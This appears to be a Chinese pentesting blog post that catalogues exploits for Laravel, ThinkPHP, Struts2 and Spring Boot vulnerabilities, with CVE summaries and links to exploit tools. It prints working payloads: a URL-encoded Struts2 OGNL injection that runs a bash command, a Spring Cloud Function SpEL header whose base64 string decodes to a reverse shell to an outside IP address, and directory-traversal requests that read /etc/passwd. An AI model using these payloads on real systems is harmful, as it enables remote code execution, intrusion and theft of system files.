框架安全(Laravel、thinkphp、struts2、springboot)

PHP框架

laravel

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

特征:

CVE-2021-3129

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发php反序列化,最终造成远程代码执行。

版本影响范围:Laravel <= 8.4.2

工具:https://github.com/zhzyker/CVE-2021-3129

thinkphp

特征:

查看数据包

查看icon图标

查看页面报错信息:

CVE-2018-1002015

对于6以下的版本,我们可以直接使用工具检测是否存在漏洞。(狐狸工具箱)

利用:

对于6的版本存在一个lang 命令执行漏洞。但没有现成工具利用,需要我们直接构造数据包发送。

JAVA框架

struts2

特征识别:访问url中通常是.action

CVE-2020-17530

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成 任意代码执行。

利用:

工具:https://github.com/YanMu2020/s2-062

CVE-2021-31805

版本范围:Apache Struts 2.0.0 - 2.5.29

利用:以POST形式发送数据(其中要对执行的命令base64编码,然后url编码)

Post: /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%61%57%51%3d}|{base64,-d}|{bash,-i}'}))

springboot

CVE-2021-21234

Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包"eu.hinsch:spring-boot-actuator-logview"。**在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。**该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此`filename=../somefile` 将不起作用),但没有充分检查基本文件夹参数,因此`filename=somefile&base=../` 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

POC:
http://目标/manage/log/view?filename=etc/passwd\&base=../../../../../../

http://目标/manage/log/view?filename=/windows/win.ini\&base=../../../../../../../

CVE-2022-22963

Spring Cloud Function SPEL 远程代码执行

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。

影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

利用:
POST:/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")

注意以post形式必须提交数据

CVE-2022-22965

Spring Framework远程代码执行漏洞
Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。 未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。 该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。
利用:


工具:https : //github.com/BobTheShoplifter/Spring4Shell-PoC

CVE-2022-22947

Spring Cloud Gateway是Spring中的一个 API 网关
影响版本:
Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

参考文章:Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)-腾讯云开发者社区-腾讯云

综合利用工具:
https : //github.com/0x727/SpringBootExploit

相关推荐
EasyDSS43 分钟前
国标GB28181-2022平台EasyGBS:安防监控中P2P的穿透方法
网络协议·php·音视频·p2p
鸭梨山大。1 小时前
Jenkins 任意文件读取(CVE-2024-23897)修复及复现
安全·中间件·jenkins
黑客老陈1 小时前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞(利用xss钓鱼)
运维·服务器·前端·网络·安全·web3·xss
liuyunshengsir2 小时前
Squid代理服务器的安装使用
开发语言·php
代码改变世界ctw8 小时前
如何学习Trustzone
安全·trustzone·atf·optee·tee·armv8·armv9
WTT001110 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
007php00711 小时前
Go语言zero项目部署后启动失败问题分析与解决
java·服务器·网络·python·golang·php·ai编程
群联云防护小杜13 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai13 小时前
HTTP协议及安全防范
网络协议·安全·http
黑客Jack14 小时前
防御 XSS 的七条原则
安全·web安全·xss